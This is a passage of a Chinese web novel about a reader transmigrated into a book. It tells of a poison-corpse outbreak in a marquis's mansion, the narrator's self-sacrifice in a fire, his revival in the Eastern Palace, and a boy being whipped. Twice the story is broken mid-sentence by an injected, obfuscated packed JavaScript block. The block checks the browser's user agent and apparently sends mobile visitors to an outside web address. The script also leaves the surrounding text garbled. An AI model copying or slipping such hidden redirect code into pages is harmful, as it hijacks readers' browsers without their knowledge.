他们现在站在墙头上,能把下面院落的情形看得非常清楚。 那个蓝衣的毒尸趴在墙边,似乎想爬上来但未能成功,昂着头朝他们不断嘶吼,半截乌红色的舌头从她的口腔中掉出。 方才还在院落中央痉挛蠕动的那五具尸体如今也已纷纷站起。 他们脸上也生满了密密麻麻的粉红脓疱,嘴里发出沉闷的嘶吼声,像无头苍蝇似的四处乱撞,撞到同类时甚至还凶狠地撕咬下同类脸上的一块皮肉。 而当他们发现站在房檐上的贺萦怀和杨惜两人,直接疯挤到墙边,将生着黑色长指甲的手高高举起,想要把两人拽下来。 “世子殿下,我们现在得赶紧疏散府内众人,封锁侯府,尤其是大门,绝不能让这些毒尸流入周围的里坊。” 杨惜蹙着眉,冷静地分析着。 “还有夫人,夫人腿脚不便,众人疏散时难保只顾自己性命,我们须得亲自把夫人接出才妥当。” 贺萦怀闭上眼,深深吸了一口气,尔后对杨惜点了点头。 “世子殿下,小人继续站在墙头引诱他们,您借机用轻功去把这座院落的门锁上,虽然挡不住他们多久,但是也能为府内众人逃生拖延一段时间。” 贺萦怀看着此时杨惜沉静的神情,哪还有一点方才和那张逸之争执时那种嬉皮笑脸、油腔滑调的市侩气。 “好。” 他深深看了杨惜一眼,抄起剑飞了下去。 杨惜为了下面那帮毒尸的注意力不被贺萦怀分散过去,开始在墙头上疯狂制造响动。 “好哥哥,好姐姐们,我知道你们现在很饿,饿得想把我给活吃了。” 杨惜冲墙下大喊,墙下的“好哥哥”和“好姐姐”们听见他大声喊叫,果然如他预料的那样,变得更加兴奋了,疯狂地举着手臂想要将他拽下来。 “但是冤有头债有主啊,我和你们一样都是无辜的!而且我平时很挑食,体内营养一点也不均衡,我不好吃啊!” “那个张逸之,良心真是大大的坏,把好好的一个女孩子折磨成了毒尸,连带着把你们也给坑惨了……” 杨惜还在卖力地游说着,可墙下的毒尸在他说话间竟已开始叠起了人梯,不,尸梯。一个毒尸肩膀上站着另一个毒尸,眼看就要叠到能够碰到杨惜的高度了。 “我草,你们还会这个?” 看着已近在咫尺的那个蓝衣毒尸血肉模糊的脸,杨惜吓得后退了一步,差点踩空。 “殿下救我!” 他转头对已经将院门落锁的贺萦怀嚎了一嗓子。 贺萦怀利落地跃上墙头,对着那蓝衣毒尸的喉咙又来了一剑。 那毒尸的口腔中满是血沫,另半截舌头也软哒哒地掉了出来。贺萦怀抽出剑后,那毒尸因为惯性仰头栽倒,连带着整架尸梯轰然倒塌,几具毒尸交叠在一起。 “世子殿下,我们得赶紧离开。这些毒尸没有丧失思考能力,这么短的时间里居然能想出这种办法,他们很快就会翻过墙头向府内其它院室袭去了。” “好。” 贺萦怀用指腹抹了抹溅到自己颊边的血渍,也顾不得那么多了,直接将杨惜打横抱起,运着轻功一路跃过多个墙头、屋檐,向宁国侯夫人院中快速移动。 杨惜的大脑此时有些宕机。他他他他居然被一个大男人给公主抱了?! 我不是王子吗,这个剧本好像不太对吧哈哈…… 杨惜感觉别扭至极,暗暗下定决心回去后要苦练武功,下次换他公主抱别人。 两人一路跑,一路通知府上各处的侍女仆役相互传信,赶紧向里坊疏散,切勿在府中逗留。 众人听说府内闹起了尸疫,都很恐慌,张皇地收拾起细软向府外奔逃。 在接近宁国侯夫人的院子时,贺萦怀看见院外墙边有一个人背对着他们蹲在墙角,窸窸窣窣的,举止很是怪异,他抱着杨惜的手明显顿了顿。 杨惜察觉到贺萦怀的异常,顺着他的视线往了过去。 这身衣冠打扮很是眼熟,是…… “爹……” 贺萦怀的声音不自觉地发起了抖。 杨惜也注意到了贺钦举止的不对劲,警惕起来,眯起眼仔细观察着。 贺萦怀带着杨惜落到地上,松开了他。 杨惜见贺萦怀想朝蹲在那里的贺钦走去,抬手按住了他的肩膀,“殿下,别去。” “侯爷可能已经……”杨惜顿了顿,到底没忍心说出来。 贺萦怀哪里听 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贺钦接过金刀时,还满怀壮志豪情地说日后定会用这柄金刀除尽危害大燕社稷的奸邪之人…… 半个时辰前。 贺钦为劝回张逸之,一路跟着他到了他居住的院子,谁知刚踏入院中,就看见一个蓝衣的女孩蹲在柴房门口,脚前放着一把已经断裂的铁锁。 “你这个贱东西,谁准你出来了,滚回去!”张逸之又惊又怒,但不以为意,叠交双臂对阿绣吼道。 “张大人,这是?”贺钦很是疑惑。 “哦,只是卑职在里坊买的一个小奴,见卑职不在悄悄跑了出来,侯爷不必在意。”张逸之随口扯了个谎。 贺钦闻言,走上前去,柔蔼地拍了拍那女孩的肩膀,“丫头,你……” 谁知那女孩猛地转身,一张血肉模糊的小脸映入眼帘,他还来不及反应,就被那女孩尖利的牙齿咬断了左臂。 “快跑!” 贺钦好歹也是水军将领出身,立马反应过来事情不对劲,他捂着左肩正在汩汩流血的臂膊断口,腾身越到了房檐上。 他眼前黑沉沉的,感觉被一阵钻心噬骨的疼痛感淹没了。 贺钦不知道被毒尸咬伤后也会被感染成那副模样,他心中只有一个念头,要带着妻儿尽快离开! 于是贺钦强撑着,沿着小径向夫人的院中行去,恰好与跟来的杨惜和贺萦怀错过了。 张逸之和几个侍女仆役愣了一晌,听见贺钦的喊声,正尖叫着准备拔腿跑开时,那女孩猛地朝他们扑了过来。 女孩动作极为迅猛,瞬间出现在他们身前,众人俱被吓得不知所措,一动不敢动。 那女孩本来已经狠狠地抓起了张逸之的臂膊,正要啃咬时,慌乱中,张逸之举起医箱格挡。 女孩嗅出医箱中浓郁的草药的气息,竟有种天然的畏惧似的,迷茫地看了张逸之一眼,转头朝那五个侍女仆役咬去。 …… 然后就是杨惜在院落里看到的那一幕。 贺钦在被毒尸感染一段时间后,大概也明白自己身上发生了什么,生理本能驱使着他往夫人的院子走,他又在残余的情感理智的影响下决定自伤,冀求自己尸变后不要伤到夫人。 此刻,贺钦的喉咙中依然在发出一些模糊破碎的音节,催促儿子赶紧砍断自己的手脚…… 杨惜见贺萦怀犹豫不决,咬了咬牙,先跑进院中,疏散院内的侍女仆役,然后走进内室,连着衾被将夫人裹起,背在背上。 病得昏昏沉沉的宁国侯夫人睁开眼,惊呼一声。 “事出紧急,杨惜失礼了。” 杨惜背着宁国侯夫人走到前厅,在角落里发现了一些用以照明取暖的火油、预备除夕夜燃放的焰硝。 他脑海中灵光一闪,想起原书中写毒尸惧火,遂将它们带在身上,向院门赶去。 此时,贺萦怀正呆呆地立在院门口,看着自己正在往下滴血的剑尖。 一旁是已被砍去四只手足,被绳索缚住行动,在地上痉挛蠕动的一个人彘模样的血人,贺钦。 “爹……” 贺萦怀仰起头,抬掌捂住自己的两眼,几滴滚烫的清泪自他指隙间滑落。 7. 死灰 杨惜背着宁国侯夫人走到贺萦怀身边,看着四肢的断口处俱已被染血的白布封裹住的贺钦,不知如何安慰,只轻轻拍了拍贺萦怀的肩膀。 杨惜看见身侧这个素来孤傲冷情的少年,此时正无声地大哭着,肩头耸动,双手抑制不住地颤抖。 那柄沾满他至亲之血的剑从他掌中脱落,掉到了脚边。 杨惜此时很是后悔当时看小说的时候没有再细致一些,将解毒的疗方记下来。 如今竟只能眼睁睁地看着儿子亲手砍断父亲的手脚,贺萦怀他……是以何种煎熬的心绪来完成这些的呢? 原书中,宁国侯世子贺萦怀二十岁袭爵,因为在他十七岁这年,他的母亲死于长安尸疫。 他和父亲回到扬州后,父亲终日悒郁寡欢、纵酒蹉跎,身体一日比一日消瘦,三年后便也撒手人寰了。 这些在小说里都只是轻描淡写带过的内容,杨惜作为读者观看的时候并不觉得伤情。 现在,他自己成为了书中人,才明白这些角色是有血有肉、有鲜活的呼吸的,他们对自己所经历的悲欢离合亦会有如此切肤刻骨的感受。 杨惜曾因自己手握剧本,预知世界未来走向而自傲,可他来宁国侯府折腾了这么一遭,却仿佛什么也没有改变。 他没有拯救那个十七岁丧母、二十岁丧父,一生冷清孤孑,三十岁时因身边仆从暗害,渡江堕水而亡的姑苏贺郎。 杨惜深深地叹了一口气,弯腰捡起贺萦怀的佩剑,用自己的袖摆一下一下地拭净血迹,郑重地递还给贺萦怀。 “……走!” 贺萦怀接过剑,红着眼将杨惜背上的母亲接到自己背上。 不远处传来成片的毒尸的沉闷嘶吼,看来那个院落里的毒尸已经把门撞开,而且离这里不远了,两人赶紧向侯府正大门奔去。 眼看着马上就要推开大门了,他们身后突然传来了一道清晰的毒尸的嘶吼声。 什么情况,刚才听声音明明还有一段距离的,怎么会这么快追上来? 两人对视一眼,心头暗叫不好,然后纷纷回头望去。 这个追上来的毒尸竟然是张逸之! 张逸之面色青僵灰白,嘴中木然地嚼着许多奇奇怪怪的药草,衣襟被黑褐色的涎水浸湿了一大片。 原来,张逸之跑出那个院落后,突然发觉自己的行动越来越迟钝,浑身虚弱无力,还有种发了高热的昏闷感。 他意识到了什么,撩开自己的袖子一看,发现自己先前被那毒尸抓起胳臂时留下了一条细长的伤口。 “阿绣那个贱羔子,真是死了都不让人安生……” 他啐骂了一声,慌乱地找了个角落蹲下,打开医箱,将箱内的各式药草一股脑地往嘴里塞,但是很遗憾,这无济于事。 片刻后,他仰头一倒,彻底昏死了过去。 …… “你带着我母亲,站到我身后。”贺萦怀对杨惜叮嘱道。 杨惜扶着宁国侯夫人靠柱而坐,若有所思地看了看张逸之和自己藏在怀中的火油、焰硝。 眼见张逸之张牙舞爪地扑了过来,贺萦怀眯起了眼,握紧了手中霜白的长剑。 张逸之靠近身前的那一瞬,贺萦怀手腕一转,扬剑刺进张逸之的胸膛。 几滴乌血溅到贺萦怀眼睑上,他嫌恶地揩了揩,然后将四肢仍在疯动的张逸之捆缚在柱子上。 他转头喊杨惜,“走了,我们把门落锁再去上报禁军……” 杨惜却一动不动。 杨惜刚才趁贺萦怀对付张逸之的间隙,已在院门口处的植被上都泼满了火油。 此刻,杨惜垂下眼,静静地摩挲着一块焰硝,似乎在等待着什么。 “你……” 贺萦怀敏锐地嗅到了空气中浓郁的火油的气味,蹙起了眉头。 这时,那群毒尸也自南边院落赶来了,他们影影绰绰的身影出现在檐廊的尽头。 “殿下,站远一点。” 杨惜转头,朝贺萦怀一笑,给他看了看自己宽大袍袖下那条已变成青紫色的纤瘦胳臂。 “我好像……走不掉了。” “那张逸之应该也被毒尸抓伤了,他跑出院落时搡了我一把,胳臂被他刮破了点皮。” 杨惜的声音很轻,语气也非常平静,却听得贺萦怀的心脏猛地揪起。 “没能救下侯爷,抱歉……但是殿下放心,尸疫会在这里了结的。” “夫人的药方我方才悄悄塞在她的衾被中了,你一定要和夫人一起,好好活下去。” “殿下,我知你为人冷傲,但是有时候,人心比威势重要太多了,记得对身边的下臣和随从好一点……还有,不要总是冷冰冰的,把别人姑娘都吓跑了,白糟蹋了那么漂亮的一张脸啊。” 杨惜故作轻松地调侃了贺萦怀一句,转头看着越来越近的,仅有五六步之遥的毒尸,他用修长纤细的手指点燃了一块焰硝,向已泼过了火油的植被上掷去,火势瞬间冲天而起。 毒尸们在大火中撕心裂肺地嚎叫着。 “杨惜!” 贺萦怀看着那个人极清瘦的背影,喊了他一句,声音沙哑而颤抖。 杨惜回头朝贺萦怀轻轻一笑,赤红的火光映亮了他清秀柔和的脸廓,如瀑的墨发随风飘扬。 然后,他头也不回地纵身跃入焰浪火海之中了。 黑烟滚滚,熏得人睁不开眼,渐渐喘不上气。贺萦怀只得背着母亲撤至府外,呆愣愣地望着已被烈火吞噬的宁国侯府。 贺萦怀对这个世界的感知仿佛被尽数剥离了,看不清,也听不清,只剩下一片混沌、死寂的虚无。 无边际的黑暗像冰冷又厚重的绸被一样紧紧裹着贺萦怀,闷得他快要五脏俱碎。 许久后,他耳边一阵嗡鸣,听见身边有人大喊“宁国侯府走水了,快救火”,听见许多嘈乱的脚步声和呼喊声。 先前已经逃出侯府的侍女和仆役上前来簇拥着贺萦怀,将他背上的母亲接下。 *** 地狱……是什么模样? 杨惜不知道。 但肯定不是他眼前这样的。 锦绣帷帐,玉幕珠帘,榻前的博山炉里还焚着一种淡雅清馥的香。 杨惜竭力睁开睡意迷朦的两眼,打量着四周,越看越觉得眼熟,这里是……显德殿? 显德殿位于皇宫西南角,是东宫居所。杨惜身下这张柔软无匹的床榻也就是三天前他刚穿进《燕武本纪》时的出生点。对,就是他和男主萧鸿雪一起躺过的那张。 如果这张床可以生出床灵,一定会狠狠地嘲笑他这个接盘了萧成亭惨淡未来的倒霉蛋。 其实在接受了自己穿书成了萧成亭这一事实之后,杨惜每次看见这张见证了他对男主犯下的所有罪状的床榻,都很想自扇耳光。 当然,他想扇的不是自己。他想扇的是那个曾经美滋滋地啃过男主的漂亮脸蛋,如今已不知润到何处去逍遥快活了的原主。 不过这具身体本来就是萧成亭的,他现在扇自己,四舍五入一下也就是在扇原主了! 不过,他怎么会躺在显德殿里?他这是跳入火海之后直接重开新档了吗? “咳……咳。” 杨惜无意识地咳了两声,这才发现自己的喉咙又痛又痒,仿佛被钝刀划割过一遍似的,声音也哑得吓人,像被谁下了失声药。 他突然意识到了什么,挽起寝衣的袖子,发现自己两条胳臂上都是被火烧伤留下的粉红色印痕,虽然看着并不严重,但杨惜用手指轻轻摩挲了几下,依然疼得倒吸一口凉气。 他起身翻箱倒柜地找出了些白色的布绷,将双臂都缠束起来。 走回榻边时,他路过了铜镜,就顺道看了一眼,发现自己易容的那张画皮已经不知所踪了。 然后,他静静地坐在榻上,手指一下一下地敲着榻沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没想到只是做个新手村任务,居然会死得这么悲情……感觉也是穿书史上前无古人后无来者的独一份了。 他明明已经接受了被火烧死这个看起来蠢过头了的结局,但是一睁眼居然还能安然无恙地从显德殿的床榻上醒来,这又是为什么? 他实在是想破了头也想不通。 怎么,他爱趟浑水还舍己为人的善举感天动地了,世界规则不忍见他英年早逝,直接修复了“因恶毒男配过早下线导致男主后期没办法爽一爽了”的bug吗? 老实说,他觉得不太可能。 一开始他也期待过这个《燕武本纪》的世界会不会和他绑定什么男配自救系统、男配洗白系统之类的,好让他的魂穿恶毒男配之旅没那么绝望。 谁知他等了这么些天,别说自救洗白系统了,连那天起了歹心,想要提前做掉萧鸿雪时出现的那种警告都再没出现过。 似乎只要他不对男主动杀心,无论他做什么,就是把男主抱着乱啃也没关系的。 他完全被这个《燕武本纪》的世界散养了,没有任务,也没有任何生存提示。 既然不是世界规则出手,那难道他是被谁给救了吗? 是贺萦怀? 也说不通,当时火势那么大,连毒尸都烧得嗷嗷叫。就算贺萦怀真的把他从火中救起了,他也不可能只受了这么点轻伤,连神智都还是清明的。 而且,最要紧的一点是,他是易容去宁国侯府的,贺萦怀根本就不知道他皮下其实是太子啊,又怎么会把他送回显德殿? 杨惜这一趟宁国侯府之行虽然惊心动魄、轰轰烈烈的,但似乎除了那张惟妙惟肖的画皮陨落在火中了之外,什么都没有损失。 但是……为什么啊……想不通啊! 杨惜没想到自己有一天会为自己为什么没死成这个问题纠结这么久。 但他向来适应力极强,既然想不通,很快也就不再想了。 就当做是有某个花精草精、田螺姑娘之类的对他芳心暗许,不忍见他英年早逝所以出手相救了吧! 一晌后,杨惜仰头倒在了那张见证他风雨沧桑的床榻上,他斜斜地倚靠着软枕,望着自己缠满布绷的手臂出神。 “皇兄……你在发什么愣呢?” 一个面如莹瓷的半大男孩不知是何时站到杨惜床帐边的,伸手在他眼前晃了晃。 8. 东宫 杨惜这才回过神来,望着这男孩。见他面孔生得精致白皙,稚气未脱,眉眼与萧成亭有几分肖似,结合他对自己的称呼,便对他的身份有了数。 “……朱鹀?你找我有什么事吗?” 杨惜轻声开口,嗓音已被被火场的浓烟给熏得有些“呕哑嘲哳”了。 朱鹀是萧成亭四弟萧幼安的乳名。 凤皇、桑扈、朱鹀,睿宗膝下这三位皇子皆是以禽鸟名为乳名的。 事实上,不只是皇子,萧姓宗室的孩子也遵照此传统来取乳名。 比如昭王的两个儿子萧淮流和萧鸿雪,一个乳名青鹤,一个乳名白雉。 皇族萧氏通过翻《百鸟图鉴》来给孩子取乳名的这种草率行径让杨惜一度怀疑萧氏的先祖是不是鸟变的,所以不仅选“燕”为国号,还订下了族中孩子皆取一个禽鸟乳名的规矩。 此举让这燕朝的青史上留下了一排排缤纷多彩、叽叽喳喳的“鸟皇帝”的尊号,萧氏后人子子孙孙无穷尽也,皆以鸟名统治大燕江山千秋百代,想想就非常令人,不,令鸟心潮澎湃。 但是比起这种猜测,杨惜更愿意相信是因为《燕武本纪》的作者实在是不会起名字,为了省事随口诌的。 姓萧的一大家子人都是鸟,整整齐齐,方便快捷,多好啊。 不过,虽然大家都是鸟,但百鸟终要朝凤。 萧成亭的乳名是听上去就很狂霸酷炫拽的“凤皇”,除了能彰显其身份的尊贵煊赫之外,也不难看出睿宗对这个孩子的偏爱和寄予的厚望。 但是呢,结合《燕武本纪》的实际剧情来看,这萧成亭就是个不学无术的草包,明显压不住“凤皇”这个霸气的大名啊。 所以,他最终被这个极品id的耀眼光华反噬,在宗人府凄凉地爬完了后半辈子。 而在萧氏一众“禽鸟公子”之中,最后竟是乳名起得最为轻贱的“白雉”萧鸿雪以燕武大帝的尊号名垂青史了。 两相比较之下,实在令人唏嘘,感叹起命运的神奇之处。 开局摸了一手“这让我怎么输”的绝世好牌的萧成亭,一生碌碌,下场凄惨,为史书略去不表;而天崩开局的萧鸿雪却隐忍蛰伏、步步为营,最终中兴燕室,被尊为千古一帝。 萧鸿雪这个位面之子身上放射出的璀璨光芒简直要闪得人睁不开眼了,谈笑间,恶毒太子灰飞烟灭…… 呵呵,这还怎么玩? 杨惜在心里一阵无能狂怒,面上却依旧沉静如水地望着站在榻边的萧幼安。 “皇兄,朱鹀是来提醒你,你已好几日未去辟雍学宫上课了,讲经的柳博士很是生气。” “他说若明日还见不到皇兄,就要奏禀父皇了。” 萧幼安轻轻牵起杨惜的衣袖,语调温软。 杨惜闻言有点崩溃,本以为自己穿书之后可以挥泪告别上学上课了,但他忘记了,即使是一国太子,也是要上学的。 他前几天根本就忘了这茬,宫人们估计也因为原主性格乖张,肆意妄为惯了,也没谁敢来提醒他。 “我知道了,朱鹀,谢谢你。” 杨惜偏头咳了一声,喉咙又是一阵巨痛,声音沙哑得可怕。 萧幼安的眸光不经意地扫过杨惜两臂上的布绷,用手指轻轻摩挲了几下,“皇兄……你受伤了?” “……啊,昨日帮一个小宫娥捡落到树上的纸鸢,不小心摔着了。” 杨惜略微思索后很快想出了一个听着还算合理的解释。 “皇兄果然怜香惜玉,连替小宫娥捡风筝这种事情都亲力亲为。” 萧幼安嘟囔着嘴,声音闷闷的。 “可朱鹀每次邀皇兄来华阳宫陪我玩儿,兄长都说没空!” 杨惜看着萧幼安这幅委屈的小模样,本来就具有弟控属性的他顿生怜爱之情,他抬手摸了摸萧幼安柔软的发顶。 “是皇兄不好,皇兄以后一定多去陪陪你。” “那说好了,拉钩!” 萧幼安非常童真地用自己的小指勾住了杨惜的小指。 “嗯,说好了。” 杨惜温柔地看着萧幼安的小动作。 “那皇兄,你好好休息,明日一定记得去辟雍学宫上课,柳博士发火可吓人了!不过,父皇一向最疼爱皇兄了,就算他告状,父皇也一定不忍苛责皇兄的……” “皇兄,我先回去了,母妃今日还要考我功课呢。” 萧幼安冲他笑了笑。 “好。”杨惜点了点头。 萧幼安在越过寝殿门槛的那瞬间,眸中一抹暗色划过,面上和煦的笑意荡然无存。 “呵。” 萧幼安盯着自己方才抚过杨惜臂上布绷的手,勾了勾唇角,冷笑了一声。 而对此毫无所知的杨惜一脸慈爱地目送着萧幼安离去。 杨惜心想,对嘛,这才是和谐亲善的兄弟情嘛,同样都是弟弟,怎么有的弟弟就那么恐怖,硬是吓得他现在看到一条小毛毛虫都一身冷汗。 虽然是原主萧成亭先为兄不尊的,但那和他杨惜又有什么关系,请苍天,辨忠奸啊! 每次一想到萧鸿雪,杨惜就#头晕#胸闷#冒汗#浑身无力#呼吸困难。 但是怕归怕,杨惜很明白自己现在迫切地需要做点什么,以应对未来的毛毛虫之祸。 * 杨惜记得,原主萧成亭虽贵为东宫,处一步登极的高位,偏偏这最后一步任他如何抻长了腿儿也登不上去。 可以说只有皇帝姓,没有皇帝命。 萧成亭的皇帝老爹睿宗驾崩后,生前宠信的几位常侍迅速勾结坤宁宫的魏皇后乱政,篡改遗旨、兴起宫变,将萧成亭和其母王淑妃一起圈禁在宗人府。 那时萧成亭的二弟萧明期因与巫蛊之案有涉,已被睿宗鸩杀,四弟萧幼安则在宫变中不知所踪。 因魏皇后自身无所出,几位常侍决定拥立魏皇后的外甥,也就是昭王妃之子萧淮流为帝,魏皇后则美美做起了摄政太后。 这萧淮流正是男主萧鸿雪的亲大哥,他性格柔懦,就是个任人摆布的傀儡皇帝。 萧淮流刚登基就听从摄政太后之言,招她的亲哥哥豳州牧魏添入都,拜他为大将军,以求拱卫京畿、稳固朝政。 这魏添屠户出身,一身匪气。他把持军政大权,私纵麾下军士在长安烧杀劫掠。 他自己还多次夜宿后妃宫中,甚至曾在圈禁着王淑妃、萧成亭母子的宗人府里歇宿过,俨然把京城长安当作淫乐窟了。 朝中诸臣皆被他带来的“一点小小的礼崩乐坏震撼”吓得面色俱白。 其实自皇太子萧成亭无过而被废,外戚魏氏独大,明眼人都能看出其中的门道,私下多有“宦官联合外戚把持朝政”的议论。 但他们都慑于魏添手下那实打实的一万豳州虎贲,一时无人敢做出头鸟。 虽然禁军的人数也不少,但大部分是养尊处优的少爷兵,和豳州那一万前后经历大小战役无数,从沙场上浴血归来的虎贲军比起来,确实不够看。 好在如此危难之际,有尚书左仆射谢韫与其弟御林军将军谢韬聚兵勤王,以“清君侧”为号联合举国各地的门阀士族共同讨奸。 小说里写,谢韫执剑取魏添首级后,步履明殿,自他剑刃滴落的鲜血在白玉石板上勾勒出一条长长的猩红辙迹。 谢韫将彼时已被吓呆了的萧淮流头上那顶十二旒的衮冕取下,呈到了被关进宗人府多时的正经太子萧成亭面前。 当日萧成亭见到谢韫时,谢韫的发冠早已不知散落何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824235|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,墨发垂肩,那身惯穿的素白雪衣俱是斑斑血渍。 谢韫连眼睫上都悬着血珠,仍端谨地向他叩跪,双手奉上染血的帝王衮冕。 得臣如此,萧成亭一时深感之,当场涕泪齐下地将谢韫扶起。 后来宫人向萧成亭问询是否要将溅了血的衮冕更换时,他摆摆手拒绝了,说“此谢仆射血,勿去。” 说来也是天理循环,新帝萧淮流在位不过短短两月就被废掉,于夤夜悬梁自缢。 如果剧情能这样平稳地发展下去,杨惜对自己这穿书身份还是非常满意的。 重生之我在大燕做皇帝,虽半途为奸人所害却终究拿回了属于我的一切,不要太爽。 可惜很快就再度迎来了转折。 这萧成亭草包之名世无其二,任他老爹生前如何力排众议册他为东宫,宰辅之臣谢韫又平魏皇后之祸,把皇位给他送了回来,奈何他自己不中用,接不住这泼天的富贵。 他生性鲁钝,连做个守成之君的中人之才都不具备,世言更谓其为白痴。白痴也就算了,还醉心玄道、荒淫好乐。 所以登基大典还未筹备完呢,不少臣子或许从之前魏氏兄妹僭窃储位之事中得到了启发,这样乱的世道,还顾得上什么君臣纲常啊? 他们从燕王朝和门阀士族的利益出发,纷纷登府拜见谢仆射,反对由萧成亭这个草包继位,要求另择明君,否则大燕完蛋“可指日而待矣”。 谢韫深思熟虑后,亦认为众人言得之,社稷为重,也不执着于忠臣贤相的名节了,当即废了萧成亭。 又因睿宗子嗣缘薄,膝下除了萧成亭、不知所踪的四皇子萧幼安、一名才人所出的一尚在襁褓的幼儿外,别无他子,故改扶昭王已逝的外室所出的,素有谦慎聪慧之名的幺子萧鸿雪为帝。 萧成亭梅开二度地收拾铺盖卷搬进了宗人府,连张七天皇帝特权体验卡都没捞着,就变成残废,爬了半辈子。 后面的剧情就和他没有太大关系了。 * “所以……现在摆在我面前的只有两条路啊。” 杨惜长长地叹了口气。 两条路,一条是争取谢韫的支持,在皇位保卫战中胜过萧鸿雪。 如果最后登基的是他,他就不会变成任萧鸿雪捏扁搓圆的毛毛虫面包了。 不过,天知道他登基之后谢韫会不会再篡一次国?毕竟连萧鸿雪那样的皇帝他都不满意,想取而代之啊? 而另一条路呢,就是去大舔特舔萧鸿雪,尽量洗白自己在他心中坏得掉渣的形象。 虽然两条路听上去都很有难度,但是杨惜果断选择了第二条。 开玩笑,稍微犹豫一秒都是对第二条的不尊重好吗? 第一条简直离谱得令人发笑。我吗?你是说让我一个天天摸鱼摆烂的男大学生去和那个名垂大燕青史的千古一帝燕武帝抢皇位吗? 什么凤皇不凤皇的,在萧鸿雪面前他杨惜就是只鹌鹑。 而且就算侥幸斗倒了萧鸿雪,还有个最终boss谢韫呢,杨惜自认他可没有萧鸿雪那种卧薪尝胆单挑谢韫的能耐。 把两条路对比了一下之后,杨惜觉得去狂舔萧鸿雪让他不忍把自己折成毛毛虫的可能性瞬间高得出奇了。 对,就这么干! 不当皇帝就不当皇帝了呗,他一个穿书者,本来也没那么大能耐,能全须全尾地苟着就已经很好了。 比起和男主抢皇位,当他的腿部挂件虽然没出息但很轻松不是吗? 想清楚这些关节后,杨惜决定以后日日去给萧鸿雪晨昏定省,准时请安。 他一阵摩拳擦掌,为即将开启的舔王大业感到热血沸腾。 虽然当舔狗其实没什么好燃的,但是,他还是燃起来了! 9. 阿雉 “……杨惜!” 贺萦怀又一次从噩梦中惊醒,有些急促地喘着气,冰凉黏腻的冷汗打湿了寝衫。 自从宁国侯府大火那日过后,他与母亲搬往宣阳坊的另一处别院居住。 这几日,他几乎夜夜梦见被自己砍去了手脚、在地上痉挛的父亲,梦见那场将华美气派的宁国侯府烧作焦土的熊熊大火,梦见那个毫不犹豫地纵身跃入火海的青年,以及他最后被火光映红、吞噬的笑颜。 贺萦怀心中空落落的,像被生生挖去了什么,一种难言的惆怅和难过在心中蔓延。 他静静地坐在榻上,平复了心情后,穿戴齐整,提着一壶酒往长安西郊的陵地走去。 陵地立起了几座新坟,几个已变成毒尸、在大火中罹难的侍女仆役的,他爹宁国侯贺钦的,还有……杨惜的。 大火熄灭以后,残垣断壁中只剩几具焦黑的尸体,俱被烧得不成人形,像炭块一样,一碰就碎。 他在角落里找到了杨惜被烧得只剩一点竹块碎片的幕篱,将它们小心地用绢帕包裹,为杨惜立了座衣冠冢,墓碑和他爹贺钦的并排而立。 贺萦怀倚靠着石碑坐下,用衣袖拭了拭碑上的尘土,将酒洒祭在碑前,开始自顾自地说起话来。 “杨惜,你这人……虽然满口赏钱,一幅不着调的模样,但其实你根本就不是这样的人。你很好看,不必自惭形秽,你很善良,也很傻……” “你不是还要拿我的赏钱去娶一位美妻,生儿育女,为你们杨家留后吗?” “赏钱还一文未取,怎么就这么仓促地走了呢……” 贺萦怀饮尽了酒壶中剩下的酒水,垂下眼,不知在想些什么。 许久后,他站起身,披着一身晨露,慢慢走回别院。 * 刚被贺萦怀坟头吊唁的杨惜坐在轿辇里打了个喷嚏。 轿辇在昭王府前停了,杨惜理了理衣冠,在称心的搀扶下走出轿辇。 然而还不待称心前去叩门,昭王府内就传来了一阵鞭声,那一下接一下的破风巨响,听得人牙酸。 而且若留心去听,其中还混杂着女人凄切的哽泣声: “王妃娘娘,求您开恩,别打了,您就发发善心,饶了二少爷这一回吧,他身子骨这么弱,受不住三十鞭的……” 昭王府内。 萧鸿雪趴在一条长木凳上,苍白瘦削的手脚俱被麻绳捆缚着。 他的后背早已被鞭打得血肉模糊,破碎衣衫的布屑和伤口粘连在了一起,远远望去,触目惊心。 他阖着眼,疼得额上不停冒冷汗,双唇被自己咬得鲜血直流。 但即使这样,他也愣是一声没哼出来,更没有向一旁那个锦衣绣袄的美艳妇人告饶一句。 萧鸿雪很小的时候就明白,在昭王妃魏书萱面前,声嘶力竭地哭喊、磕头、或是下跪求饶都是没有用的。 萧鸿雪没喊一声疼,倒是自他被接回昭王府后就一直伺候他的侍女浣莲,看着鞭子一下又一下地落在他身上,急得直哭。 她朝魏书萱不住地磕头,求她放过萧鸿雪。 萧鸿雪自小就比同龄的孩子瘦弱,又经常生病,他身子骨有多差浣莲是知道的,再这样打下去,保不齐一条活生生的小命就没了。 魏书萱看着浣莲向自己苦苦哀求,冷笑了一声。 “你说二少爷身子骨弱?本妃倒是觉得,他这把贱骨头硬得很呢,这几鞭子落下去,吭都没吭一声。” 她转头看向一旁有些迟疑的执鞭家丁,吩咐道,“打,给我接着打,三十鞭一鞭都不能少。” 然后她缓步踱到了萧鸿雪面前,掐起他的脸,尖锐的金护指在他苍白的脸颊上刮出道道血痕。 “你这个狼心狗肺的东西,当年要不是本妃心慈接你回府,你和你那个晦气的娘早就一块死在外边儿了。” “现在你大哥生了病,不过是要剜你一块肉做药引子,亏他平日待你那么好,你竟然推说自己风寒未愈不宜献肉,呵……” 魏书萱的表情有些狰狞,“本妃倒没瞧出你哪里有风寒的病症,分明就是不愿!” “既然你这么怕疼怕流血,那本妃就打得你皮开肉绽,看看是掉小一块肉疼,还是脱一整层皮疼。” 萧鸿雪看着她癫狂的神色,只是静静地揩了揩自己唇角的血迹。 他风寒是真,那日他从显德殿里逃出时只一身单薄衣衫,在宫道上淋了半天的雪,回府就病得直吐。 